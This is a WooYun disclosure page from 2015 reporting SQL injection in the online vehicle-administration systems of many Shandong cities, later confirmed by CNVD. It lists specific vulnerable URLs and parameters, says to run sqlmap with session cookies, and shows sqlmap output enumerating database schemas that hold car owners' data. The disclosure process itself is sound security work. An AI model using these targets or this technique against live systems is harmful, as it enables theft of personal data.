当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-093552

漏洞标题:山东车管所系统SQL注入可导致车主信息泄露

相关厂商:山东车管所

漏洞作者: nick被注册

提交时间:2015-01-26 10:21

修复时间:2015-03-12 10:22

公开时间:2015-03-12 10:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-26: 细节已通知厂商并且等待厂商处理中
2015-01-29: 厂商已经确认,细节仅向厂商公开
2015-02-08: 细节向核心白帽子及相关领域专家公开
2015-02-18: 细节向普通白帽子公开
2015-02-28: 细节向实习白帽子公开
2015-03-12: 细节向公众公开

简要描述:

RT

详细说明:

山东各市使用的网上车管所系统为山东国安信息开发,
注入时要加上cookie一起跑。测试滨州,威海,青岛,泰安不成功外(可能是版本不同),其他均存在注入。数据库含有大量车主敏感数据,未深入。
看下省会济南的:
http://123.233.240.70:9080/ksbm/checkjx.do?xzqh=370126
单引号报错

1111.png


加上cookie放到sqlmap:

2222.png


33333.png


4444.png


available databases [35]:
[*] CTXSYS
[*] DRV_ADMIN
[*] DRV_HEALTH
[*] HR
[*] JNZDCL_USER
[*] JNZDCL_USERHLW
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] QSWEBCGS_USER
[*] RMAN
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] VEH_ADMIN
[*] VIO_ADMIN
[*] WKSYS
[*] WMS_USER
[*] WMSYS
[*] WSCGS
[*] WSCGS_Y
[*] XDB
[*] ZDCL_USER
存在问题的系统:
省车管所:
http://www.sdwscgs.com:9080/zdwz/xwl.do?smid=02&bgid=01&bj=10
问题参数:smid,bgid
德州市车管所:
http://223.99.198.194:9080/ksbm/checkjx.do?xzqh=371422
http://223.99.198.194:9080/ksbm/checkjx.do?type=bm&code=371415
潍坊市车管所:
http://www.wfcgs.com:9080/ksbm/checkjx.do?xzqh=370700
聊城市车管所:
http://www.lycgs.gov.cn:9080/wscgs/xwl.do?smid=15&bgid=01&bj=8
菏泽市:
http://123.130.246.26:9080/wscgs/xwl.do?smid=15&bgid=01&bj=8
济宁市:
http://60.211.179.22:9080/wscgs/xwl.do?smid=15&bgid=01&bj=8
日照市:
http://58.59.39.43:9080/wscgs/xwl.do?smid=15&bgid=01&bj=8
枣庄市:
http://218.59.228.162/wscgs/xwl.do?smid=18&bgid=02&bj=8
烟台市:
http://cgs.ytjj.gov.cn:9061/wscgs/xwl.do?smid=15&bgid=01&bj=8
莱芜市:
http://222.134.200.57:9080/wscgs/xwl.do?smid=15&bgid=01&bj=8
济南市:
http://123.233.240.70:9080/ksbm/checkjx.do?xzqh=370126
临沂市:
http://123.131.131.94:9080/wscgs/xwl.do?smid=15&bgid=01&bj=8

漏洞证明:

1111.png


2222.png


33333.png


4444.png

修复方案:

过滤

版权声明:转载请注明来源 nick被注册@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2015-01-29 10:10

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给山东分中心,由山东分中心后续协调网站管理单位处置。

最新状态:

暂无